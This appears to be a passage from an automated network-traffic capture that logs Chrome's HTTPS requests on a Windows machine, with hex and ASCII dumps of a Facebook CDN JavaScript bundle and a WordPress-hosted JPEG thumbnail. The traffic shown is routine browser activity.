2024-03-28 08:51:08 UTC	1085	IN	Data Raw: 28 5b b6 33 6e 71 31 af 26 88 8f 3e 7f 3a 62 88 2b 1e 91 4d dc da 18 b3 a4 cf 5e a9 d0 1f fd 08 db 83 3c 40 aa f9 c0 80 a3 8d c6 79 8e 35 10 18 15 c2 32 8c 7a e8 3f 6e 98 9a 61 9f a0 d3 42 75 b6 cd 7f 1e c6 0e 22 c2 62 da 9b 44 12 a3 15 c7 4c 7e fa 3d ed ce 0b ff 00 73 81 e2 bb d9 54 1c 41 1b b6 31 f7 91 f9 8e 88 03 db 14 d5 f8 42 0d 5a ca ab a5 b9 8d 48 5d 4c a1 a3 0f 78 25 28 0c 31 3b 6c a4 76 f2 ac ae 40 84 ee 99 25 d2 dc b1 8a c4 d4 b8 76 12 10 fe ee c9 d0 ef a2 f5 27 dd 10 7a b5 19 2c ac 38 8b 04 ba 97 fe 9d 23 1d 27 c4 ba 9c 4b 15 bb 58 16 52 d6 61 1d 1a 9e 7c 0f 1d 52 a7 47 b9 34 42 47 70 80 6b d0 e0 e5 f6 c1 74 d4 a1 92 c2 ee ea 25 a8 b6 9b 99 26 a2 a4 19 9e 33 cc 45 ed 02 68 ce c9 ad 6c 71 64 7a cc 59 49 b5 37 09 55 36 ba 2d a9 f8 ef de 90 f1 f0 Data Ascii: ([3nq1&>:b+M^<@y52z?naBu"bDL~=sTA1BZH]Lx%(1;lv@%v'z,8#'KXRa\|RG4BGpkt%&3EhlqdzYI7U6-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49865	157.240.229.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	403	OUT	GET /rsrc.php/v3iEpO4/yH/l/en_US/F6EglYYU9ZT.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	1650	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: HeTU9Vai7sCeBJN6ci1ZYw== Expires: Fri, 28 Mar 2025 03:09:37 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: INMkX5ug8GWVczrVJ2lZDLMzSqyMzUtxm1cG+cTgCoZ2osdfzDjcK/AA/pnDqi+kxtWx6P4FpKKqGO+LUzV7bA== Date: Thu, 28 Mar 2024 08:51:08 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=94, rtx=0, c=14, mss=1274, tbw=3414, tp=-1, tpl=-1, uplat=3, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 545184
2024-03-28 08:51:08 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-03-28 08:51:08 UTC	16140	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 54 68 69 73 7c 7c 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 73 65 6c 66 7c 7c 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 5f 5f 6c 69 73 74 65 6e Data Ascii: /FB_PKG_DELIM/"use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listen
2024-03-28 08:51:08 UTC	16384	IN	Data Raw: 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 63 26 26 61 28 62 2e 70 72 6f 74 6f 74 79 70 65 2c 63 29 3b 64 26 26 61 28 62 2c 64 29 3b 72 65 74 75 72 6e 20 62 7d 7d 28 29 3b 62 2e 69 6e 68 65 72 69 74 73 4c 6f 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 61 2c 62 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 62 26 26 62 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 5f 5f 73 75 70 65 72 43 6f 6e 73 74 72 75 63 74 6f 72 5f 5f 3d 62 3b 72 65 74 75 72 6e 20 62 7d 3b 62 2e 77 72 61 70 4e 61 74 69 76 65 53 75 70 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: )}}return function(b,c,d){c&&a(b.prototype,c);d&&a(b,d);return b}}();b.inheritsLoose=function(a,b){Object.assign(a,b);a.prototype=Object.create(b&&b.prototype);a.prototype.constructor=a;a.__superConstructor__=b;return b};b.wrapNativeSuper=function(a){var
2024-03-28 08:51:08 UTC	16384	IN	Data Raw: 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 53 74 72 69 6e 67 28 61 29 7d 29 3b 62 2e 74 61 61 6c 4f 70 63 6f 64 65 73 3d 5b 67 2e 50 52 45 56 49 4f 55 53 5f 46 52 41 4d 45 5d 3b 72 65 74 75 72 6e 20 62 7d 62 3d 7b 65 72 72 3a 61 2c 54 41 41 4c 4f 70 63 6f 64 65 3a 67 7d 3b 66 5b 22 64 65 66 61 75 6c 74 22 5d 3d 62 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 73 70 72 69 6e 74 66 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 63 3d 6e 65 77 20 41 72 72 61 79 28 62 3e 31 3f 62 2d 31 3a 30 29 2c 64 3d 31 3b 64 3c 62 3b 64 2b 2b 29 63 5b 64 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 64 5d 3b 76 61 72 20 65 3d Data Ascii: ion(a){return String(a)});b.taalOpcodes=[g.PREVIOUS_FRAME];return b}b={err:a,TAALOpcode:g};f["default"]=b}),66);__d("sprintf",[],(function(a,b,c,d,e,f){function a(a){for(var b=arguments.length,c=new Array(b>1?b-1:0),d=1;d<b;d++)c[d-1]=arguments[d];var e=
2024-03-28 08:51:08 UTC	16384	IN	Data Raw: 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 6e 75 6c 6c 2c 73 63 72 69 70 74 5f 70 61 74 68 3a 62 2e 73 63 72 69 70 74 5f 70 61 74 68 2c 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 3a 59 28 62 2e 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 29 2c 73 70 69 6e 3a 59 28 62 2e 73 70 69 6e 29 2c 73 76 6e 5f 72 65 76 3a 53 74 72 69 6e 67 28 62 2e 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 29 2c 61 64 64 69 74 69 6f 6e 61 6c 5f 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 73 3a 41 72 72 61 79 2e 66 72 6f 6d 28 28 63 3d 62 2e 61 64 64 69 74 69 6f 6e 61 6c 5f 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 73 29 21 3d 3d 6e 75 6c 6c 26 26 63 21 3d 3d 76 6f 69 64 20 30 3f 63 3a 5b 5d 29 2e 6d 61 70 28 58 29 2c 74 61 61 6c 4f 70 63 6f 64 65 73 3a 61 2e 74 Data Ascii: ull&&c!==void 0?c:null,script_path:b.script_path,server_revision:Y(b.server_revision),spin:Y(b.spin),svn_rev:String(b.client_revision),additional_client_revisions:Array.from((c=b.additional_client_revisions)!==null&&c!==void 0?c:[]).map(X),taalOpcodes:a.t
2024-03-28 08:51:08 UTC	1500	IN	Data Raw: 69 74 54 6f 53 75 62 73 63 72 69 70 74 69 6f 6e 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 7d 74 68 69 73 2e 24 31 3d 6e 75 6c 6c 7d 7d 3b 63 2e 5f 5f 65 6d 69 74 54 6f 53 75 62 73 63 72 69 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 6e 65 77 20 41 72 72 61 79 28 64 3e 32 3f 64 2d 32 3a 30 29 2c 66 3d 32 3b 66 3c 64 3b 66 2b 2b 29 65 5b 66 2d 32 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 66 5d 3b 28 67 7c 7c 28 67 3d 62 28 22 45 72 72 6f 72 47 75 61 72 64 22 29 29 29 2e 61 70 70 6c 79 57 69 74 68 47 75 61 72 64 28 61 2e 6c 69 73 74 65 6e 65 72 2c 61 2e 63 6f 6e 74 65 78 74 2c 65 2c 7b 6e 61 6d 65 3a 22 45 76 65 6e 74 45 6d 69 74 74 65 72 20 22 2b 63 2b 22 20 Data Ascii: itToSubscription.apply(this,d)}}this.$1=null}};c.__emitToSubscription=function(a,c){for(var d=arguments.length,e=new Array(d>2?d-2:0),f=2;f<d;f++)e[f-2]=arguments[f];(g\|\|(g=b("ErrorGuard"))).applyWithGuard(a.listener,a.context,e,{name:"EventEmitter "+c+"
2024-03-28 08:51:08 UTC	14884	IN	Data Raw: 29 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 67 28 62 29 26 26 61 26 26 61 2e 6c 65 6e 67 74 68 21 3d 3d 30 29 7d 66 2e 69 73 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 3d 67 3b 66 2e 69 73 53 74 6f 72 61 67 65 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 3d 62 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 57 65 62 53 74 6f 72 61 67 65 22 2c 5b 22 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 22 2c 22 46 42 4c 6f 67 67 65 72 22 2c 22 65 72 72 22 2c 22 69 73 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 2c 69 3d 7b 7d 2c 6a 3d 7b 7d 2c 6b 3d 22 6c 6f Data Ascii: ))}function b(a,b){return Boolean(g(b)&&a&&a.length!==0)}f.isQuotaExceededError=g;f.isStorageQuotaExceededError=b}),66);__d("WebStorage",["CookieConsent","FBLogger","err","isQuotaExceededError"],(function(a,b,c,d,e,f,g){"use strict";var h,i={},j={},k="lo
2024-03-28 08:51:08 UTC	16384	IN	Data Raw: 73 3a 22 72 65 6a 65 63 74 65 64 22 2c 72 65 61 73 6f 6e 3a 62 7d 29 7d 29 7d 29 3a 67 2e 72 65 73 6f 6c 76 65 28 7b 73 74 61 74 75 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 65 7d 29 7d 3b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 62 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 2b 2b 64 29 61 28 64 2c 65 29 3b 72 65 74 75 72 6e 20 67 2e 61 6c 6c 28 63 29 7d 29 3b 67 2e 70 72 6f 74 6f 74 79 70 65 5b 22 66 69 6e 61 6c 6c 79 22 5d 7c 7c 28 67 2e 70 72 6f 74 6f 74 79 70 65 5b 22 66 69 6e 61 6c 6c 79 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 67 2e 72 65 73 6f 6c 76 65 28 61 28 29 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 Data Ascii: s:"rejected",reason:b})})}):g.resolve({status:"fulfilled",value:e})};for(var d=0,e=b.length;d<e;++d)a(d,e);return g.all(c)});g.prototype["finally"]\|\|(g.prototype["finally"]=function(a){return this.then(function(b){return g.resolve(a()).then(function(){ret
2024-03-28 08:51:08 UTC	16384	IN	Data Raw: 6e 22 7c 7c 68 28 30 2c 35 37 39 38 29 2c 74 68 69 73 2e 74 61 72 67 65 74 3d 74 68 69 73 2e 65 76 65 6e 74 2e 74 61 72 67 65 74 7c 7c 74 68 69 73 2e 65 76 65 6e 74 2e 73 72 63 45 6c 65 6d 65 6e 74 7d 76 61 72 20 62 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 65 76 65 6e 74 3b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3f 28 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 22 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 22 69 6e 20 61 7c 7c 28 61 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 3d 21 30 29 29 3a 61 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 21 31 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 62 2e 69 73 44 65 66 61 75 Data Ascii: n"\|\|h(0,5798),this.target=this.event.target\|\|this.event.srcElement}var b=a.prototype;b.preventDefault=function(){var a=this.event;a.preventDefault?(a.preventDefault(),"defaultPrevented"in a\|\|(a.defaultPrevented=!0)):a.returnValue=!1;return this};b.isDefau
2024-03-28 08:51:08 UTC	14884	IN	Data Raw: 29 2e 64 65 76 69 63 65 4e 61 6d 65 2c 6e 75 6c 6c 2c 61 29 7d 29 2c 69 73 45 6e 67 69 6e 65 3a 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 68 28 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 65 6e 67 69 6e 65 4e 61 6d 65 2c 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 65 6e 67 69 6e 65 56 65 72 73 69 6f 6e 2c 61 29 7d 29 2c 69 73 50 6c 61 74 66 6f 72 6d 3a 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 68 28 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 70 6c 61 74 66 6f 72 6d 4e 61 6d 65 2c 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 70 6c 61 74 66 6f 72 6d 46 75 6c 6c 56 65 72 73 69 6f 6e 2c 61 2c 69 29 7d 29 2c 69 73 50 6c 61 74 66 6f 72 6d 41 72 63 68 69 74 65 63 74 75 Data Ascii: ).deviceName,null,a)}),isEngine:a(function(a){return h(c("UserAgentData").engineName,c("UserAgentData").engineVersion,a)}),isPlatform:a(function(a){return h(c("UserAgentData").platformName,c("UserAgentData").platformFullVersion,a,i)}),isPlatformArchitectu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49859	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240327_1785.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	593	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/jpeg Content-Length: 11433 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:08 GMT Expires: Sat, 28 Mar 2026 20:51:08 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240327_1785.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "b82f753b3b64a678" X-Bytes-Saved: 432 Vary: Accept X-nc: MISS dca 3 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	776	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 05 05 04 06 05 05 05 07 06 06 07 09 0f 0a 09 08 08 09 13 0d 0e 0b 0f 16 13 17 17 16 13 15 15 18 1b 23 1e 18 1a 21 1a 15 15 1e 29 1f 21 24 25 27 28 27 18 1d 2b 2e 2b 26 2e 23 26 27 26 ff db 00 43 01 06 07 07 09 08 09 12 0a 0a 12 26 19 15 19 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 26 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 06 07 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 03 02 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 ed f2 7a de 7b 3a e6 Data Ascii: JFIFC#!)!$%'('+.+&.#&'&C&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&D"z{:
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: f4 6f db c2 3c 9e b7 27 05 b3 3a 18 af a3 a3 86 be 8f 36 8a c0 a9 9c e0 d0 ef 3a a9 ec 73 77 e2 ba 41 57 3a d2 1c 0f 34 0d a0 4a 5a bd 60 75 a3 5d f9 a7 d2 3e 71 ee d9 b6 5c d2 f9 62 9e ae 3e ec e0 e4 d6 31 29 67 a9 c0 4b 68 e8 e8 d8 cc 5f ae fe 15 cd fa ab f2 ba 30 75 66 2d c1 81 7b 3a 4c f3 35 dd cf b3 93 7b 71 b2 0c 10 5b 72 9f 9f 69 d4 e6 f4 b1 b8 dc c7 3a 10 41 05 10 9e b2 a4 e9 48 2f 15 0d f9 9b f4 1f 1f e8 9e 7d a4 93 6b e4 ea d0 ae 4e e4 23 56 7d c3 3d 76 14 f1 84 89 be 94 1b 2a 6b 67 61 68 28 31 87 06 0c b5 63 99 3a 5b bc fc c1 e9 f9 7c c2 c9 63 06 8c 19 96 f8 28 dd b8 f5 ce 86 f5 1c e8 42 14 30 1a b7 90 56 85 35 cc d6 e9 6e 6d ee 42 b5 8f a8 4c d3 47 cb 56 e5 72 f6 8e 76 65 af 3d 30 29 e7 69 89 77 e0 a4 d1 a1 12 a0 5c a8 c2 95 02 e5 40 28 31 05 Data Ascii: o<':6:swAW:4JZ`u]>q\b>1)gKh_0uf-{:L5{q[ri:AH/}kN#V}=v*kgah(1c:[\|c(B0V5nmBLGVrve=0)iw\@(1
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 2d c9 02 e5 54 6a 3f b4 b3 37 5b 1c 87 5b 67 75 48 a0 fe a5 ff 00 21 45 33 4c 4c 3c 24 ef b0 ea b5 0b 2c 62 a6 f1 8c 7b 84 e2 b6 f4 65 e1 71 33 1a 66 2d ae b1 3e 9f fc 2e 99 3d a3 0a b8 9c 7d b4 d8 f7 37 58 0e 61 8f d0 a8 85 60 07 36 98 a0 19 ae 47 e3 f9 25 38 c6 19 66 02 79 9b 19 94 83 e3 a1 a2 ed 7f b9 cb 41 64 5b 56 71 fe 5b ed 34 53 35 c4 7d f4 c9 9b 0e 8d 2c f2 89 c8 65 73 ca 04 55 ca d4 7f ff c4 00 1f 11 00 01 03 05 01 01 01 00 00 00 00 00 00 00 00 00 01 00 02 11 03 10 20 21 31 12 30 41 ff da 00 08 01 03 01 01 3f 01 67 57 9f 75 0a 7b 7c 98 c2 99 dd c5 82 13 83 c6 34 d3 8f 97 92 9e e2 ed 95 06 e0 c1 43 7c 50 80 b0 c5 c3 58 d3 1a 55 c4 3a ce a8 3c 46 14 dd f9 6e d9 bd 47 e2 d1 a5 5d ba 9c 43 49 4c 67 9c 07 54 94 38 30 77 71 77 11 b0 a6 50 60 19 0e a0 Data Ascii: -Tj?7[[guH!E3LL<$,b{eq3f->.=}7Xa`6G%8fyAd[Vq[4S5},esU !10A?gWu{\|4C\|PXU:<FnG]CILgT80wqwP`
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 4e c4 78 a3 e6 61 37 07 0f 10 bc bf 10 1b 44 2c 4d 73 e0 11 bd 96 00 2d c2 87 8a 97 18 2b 11 de 29 86 ba 39 44 a7 78 50 f6 b7 ee b2 d2 f1 07 38 5d 55 a1 0a a2 7a 57 2b 4a a5 3b 29 d5 6e aa ad f6 55 a7 7c 80 b0 dd 4c 7c b1 65 a9 c3 9d f6 f4 4c 83 50 6a 83 ba 8c ba e6 25 74 19 8c f0 70 f0 5d a4 69 45 dc 83 48 ab ac 80 22 75 58 b6 b2 ab 90 70 b8 32 9c e9 8d 57 01 78 65 ad c4 67 47 05 a8 87 e1 99 be 19 58 ec 68 68 d7 50 1f 62 b0 da ec 3d 1a 47 f2 99 e0 ab 7d 94 14 cd 20 5e a8 c0 8e c8 1d 77 1b aa b4 15 50 47 70 88 07 6d 90 3d 72 b2 f3 10 83 83 7e 5b 6d ea 9e ed 43 c4 f5 50 04 93 ba 69 ca d1 fa 5e 6f 75 e5 f6 43 d7 80 66 d6 fc 43 5d 2d b3 9a b1 be 1d 98 91 af ca 5f 45 f0 b8 25 c0 bf 5c d0 f7 5f 13 87 89 0e c3 64 c0 4d c5 18 7e 19 f1 03 79 53 b0 f0 f1 a5 e3 ed Data Ascii: Nxa7D,Ms-+)9DxP8]UzW+J;)nU\|L\|eLPj%tp]iEH"uXp2WxegGXhhPb=G} ^wPGpm=r~[mCPi^ouCfC]-_E%\_dM~yS
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 7f 5f 31 cd b9 72 6b 10 d5 f5 cc 7c 47 c4 22 8c 2d 7b 41 a3 bc c6 ae ab 8a 6b cb 55 7c 7c 7d 00 17 63 55 8d 44 74 3c 5f 24 5a 6d f2 41 c7 11 e8 cd e6 83 a2 c1 e8 22 c2 2b 1b 99 93 2a 37 d1 28 7e 48 a3 52 ce f1 b4 14 d1 b2 13 a9 50 8e a5 7a 39 da 0f 16 38 d2 30 32 08 fa e5 35 18 06 8b d2 c3 78 e9 da 54 00 9d e3 9d e8 5d 0e 20 1a 11 d9 37 0f a6 67 32 bc e2 0a b3 bc 14 86 d5 a0 85 0d dd 2d d8 34 e9 16 7f 3c 7d 14 7a a5 35 8b a0 2a 07 a3 09 b4 59 5b b2 c9 51 a0 b7 83 2c 30 5c c0 e5 7b a9 63 da 67 69 dd 99 6b 4c 4b 1a 31 0e a7 da 1d d1 f0 99 e7 23 bc 0d 58 38 33 ed 1e f4 fb 62 3b 9e 99 d3 2f 62 3a 83 cf f4 44 3e 1d fe a3 b0 4a 27 f1 73 7c 9a ac a8 e4 b1 b3 b4 17 00 01 59 cc 2e 3e f9 3b ca a3 93 23 5b a2 99 c2 b8 35 fd c7 ae 95 2e f1 46 83 b3 87 bc 47 03 e4 f8 Data Ascii: _1rk\|G"-{AkU\|\|}cUDt<_$ZmA"+7(~HRPz98025xT] 7g2-4<}z5Y[Q,0\{cgikLK1#X83b;/b:D>J's\|Y.>;#[5.FG
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 8d aa 4d c8 c5 a3 a5 ab 97 d1 30 6c 35 f1 3f e3 8a dc 8a 97 03 b6 b2 98 f7 2f e7 89 ac a6 3f c0 be f2 8d 3c 8a 7e 21 5f 25 26 57 1f 8c 6b f3 35 31 ed 12 5d 4a 6d 9c 42 28 da 1a d0 99 c9 c0 d5 44 a3 21 91 d8 94 26 68 a8 86 bd c5 13 92 7d b2 b5 63 79 db 33 37 19 c3 a4 22 cc b3 36 7e 87 71 fa ef a5 fd 20 56 a6 a5 a6 47 94 d7 13 de 21 8b 0d 46 ff 00 32 84 56 d1 97 64 e6 f4 6f e5 03 50 4e df e4 1f 79 8d 9b 1f d4 7b 45 ba 6f 92 51 a1 79 6f f3 29 c4 db b5 40 b0 7b dc d6 fe f2 ce 92 ef bd e0 1b 30 a7 e2 52 5f e6 3e 25 b7 f7 22 fe 19 b2 0b d7 1b dc 38 da 3b 24 59 ab f0 8e 8b 6a 4b ed 31 01 ea 28 7a 5c bf fc 98 05 68 a8 e6 bf 38 ad ea 2c 0e 6f dd 8f 2b c8 f6 67 a4 55 79 b9 08 af 93 3f 30 8c 8b 17 b2 6f 2f d4 43 bf ed 3f 32 c4 b3 4e d2 b5 35 66 30 5c 2f f4 09 85 7d Data Ascii: M0l5?/?<~!_%&Wk51]JmB(D!&h}cy37"6~q VG!F2VdoPNy{EoQyo)@{0R_>%"8;$YjK1(z\h8,o+gUy?0o/C?2N5f0\/}
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 1c c4 51 c2 69 63 7a 58 9f 09 da 5c 03 6d d2 0d fb 5a bd 48 ad d4 75 0c 7b 91 69 35 db 7f 90 38 b3 e3 23 bc 43 29 38 34 9b d1 bf 46 26 a0 6f a1 d5 fb 8b b4 d7 70 78 88 a8 87 4d 4f 69 90 60 67 2c 5f 48 2c 86 39 f7 aa 3e a3 dc 83 dd 35 b3 ae 84 63 c0 f1 cc c9 d4 ce d1 a6 bf 40 7f be f1 95 7c f5 5e 1a 3c c6 34 3e 81 df 4f 2c 3a 86 cb 91 d1 4d 7d a5 50 76 1e fa ca 16 cb 8f e1 f3 1a 26 21 71 ae ba f4 39 8d b0 b3 27 19 95 a5 ab 2c 40 c7 17 81 37 2f e9 83 ff 00 18 c2 72 58 05 be 76 bd 7d 98 56 05 76 6d 71 9a 43 82 58 70 71 fe 46 7b 95 11 dc 77 07 de 29 ca 33 c7 42 52 ba c5 54 74 25 1f 59 40 09 b2 d9 e4 f6 15 f6 8e a5 bb 8a 2d fb 6a 4f 73 83 1d a0 9c fe 06 18 45 2d ec 7f d8 33 69 e0 06 57 d3 79 62 10 ec d6 9c e8 ef 8f 33 5a 85 5b 83 c9 cc 48 a0 dd 35 f1 a9 1e 49 Data Ascii: QiczX\mZHu{i58#C)84F&opxMOi`g,_H,9>5c@\|^<4>O,:M}Pv&!q9',@7/rXv}VvmqCXpqF{w)3BRTt%Y@-jOsE-3iWyb3Z[H5I
